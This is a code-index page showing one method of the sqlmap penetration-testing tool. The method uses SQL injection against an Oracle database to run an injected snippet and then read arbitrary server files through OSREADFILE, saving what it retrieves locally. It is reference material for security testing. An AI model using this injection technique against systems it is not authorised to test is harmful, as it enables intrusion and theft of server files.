MCPcopy Index your code
hub / github.com/sqlmapproject/sqlmap / readFile

Method readFile

plugins/dbms/oracle/filesystem.py:23–54  ·  view source on GitHub ↗
(self, remoteFile)

Source from the content-addressed store, hash-verified

21
22class Filesystem(GenericFilesystem):
23 def readFile(self, remoteFile):
24 localFilePaths = []
25 snippet = getSQLSnippet(DBMS.ORACLE, "read_file_export_extension")
26
27 for query in snippet.split("\n"):
28 query = query.strip()
29 query = agent.prefixQuery("OR (%s) IS NULL" % query)
30 query = agent.suffixQuery(query, trimEmpty=False)
31 payload = agent.payload(newValue=query)
32 Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False)
33
34 for remoteFile in remoteFile.split(','):
35 if not kb.bruteMode:
36 infoMsg = "fetching file: '%s'" % remoteFile
37 logger.info(infoMsg)
38
39 kb.fileReadMode = True
40 fileContent = inject.getValue("SELECT RAWTOHEX(OSREADFILE('%s')) FROM DUAL" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL)
41 kb.fileReadMode = False
42
43 if not isNoneValue(fileContent):
44 fileContent = decodeDbmsHexValue(fileContent, True)
45
46 if fileContent.strip():
47 localFilePath = dataToOutFile(remoteFile, fileContent)
48 localFilePaths.append(localFilePath)
49
50 elif not kb.bruteMode:
51 errMsg = "no data retrieved"
52 logger.error(errMsg)
53
54 return localFilePaths
55
56 def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
57 errMsg = "File system write access not yet implemented for "

Callers

nothing calls this directly

Calls 11

getSQLSnippetFunction · 0.90
isNoneValueFunction · 0.90
decodeDbmsHexValueFunction · 0.90
dataToOutFileFunction · 0.90
prefixQueryMethod · 0.80
suffixQueryMethod · 0.80
payloadMethod · 0.80
queryPageMethod · 0.80
infoMethod · 0.80
appendMethod · 0.45
errorMethod · 0.45

Tested by

no test coverage detected